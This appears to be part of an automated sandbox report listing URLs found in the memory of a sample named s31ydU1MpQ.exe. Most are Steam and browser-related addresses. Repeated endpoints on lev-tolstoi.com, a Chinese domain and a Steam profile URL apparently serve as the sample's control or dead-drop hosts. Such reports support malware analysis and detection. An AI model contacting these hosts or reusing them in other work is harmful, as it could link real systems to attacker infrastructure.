Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowBG
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: s31ydU1MpQ.exe, 00000000.00000003.1413578451.0000000005947000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414257749.000000000594A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: s31ydU1MpQ.exe, 00000000.00000003.1413578451.0000000005947000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414257749.000000000594A000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: s31ydU1MpQ.exe, 00000000.00000003.1342694795.000000000597C000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: s31ydU1MpQ.exe, 00000000.00000003.1342694795.000000000597C000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: s31ydU1MpQ.exe, 00000000.00000003.1342694795.000000000597C000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1342613182.000000000597F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.stRG
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: s31ydU1MpQ.exe, 00000000.00000003.1414085786.0000000005947000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: s31ydU1MpQ.exe, 00000000.00000003.1436249870.000000000595B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1389314349.000000000595B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/4
Source: s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/=
Source: s31ydU1MpQ.exe, s31ydU1MpQ.exe, 00000000.00000003.1318672251.0000000001297000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341921354.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1415661013.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1480098661.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1436434228.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1415661013.00000000012B3000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1480772440.0000000005937000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341740721.0000000001297000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1391239937.0000000005930000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005940000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1415818290.00000000012B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: s31ydU1MpQ.exe, 00000000.00000003.1436434228.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apia
Source: s31ydU1MpQ.exe, 00000000.00000003.1341921354.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apim
Source: s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apin
Source: s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis
Source: s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.0000000001282000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi0Q
Source: s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/sw
Source: s31ydU1MpQ.exe, s31ydU1MpQ.exe, 00000000.00000003.1564929494.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apiglbfimdfabpdfjaoolaf
Source: s31ydU1MpQ.exe, 00000000.00000003.1565171294.0000000005921000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1566016443.000000000592B000.00000004.00000800.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apiocal
Source: s31ydU1MpQ.exe, 00000000.00000003.1480772440.000000000592B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apissio
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296626489.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queni
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: s31ydU1MpQ.exe, 00000000.00000003.1341740721.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaizedrG/
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: s31ydU1MpQ.exe, 00000000.00000003.1296434845.00000000012D1000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1318672251.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: s31ydU1MpQ.exe, 00000000.00000003.1318169876.000000000131E000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296434845.000000000127B000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1341702498.0000000001326000.00000004.00000020.00020000.00000000.sdmp, s31ydU1MpQ.exe, 00000000.00000003.1296382256.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: s31ydU1MpQ.exe, 00000000.00000003.1296382256.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
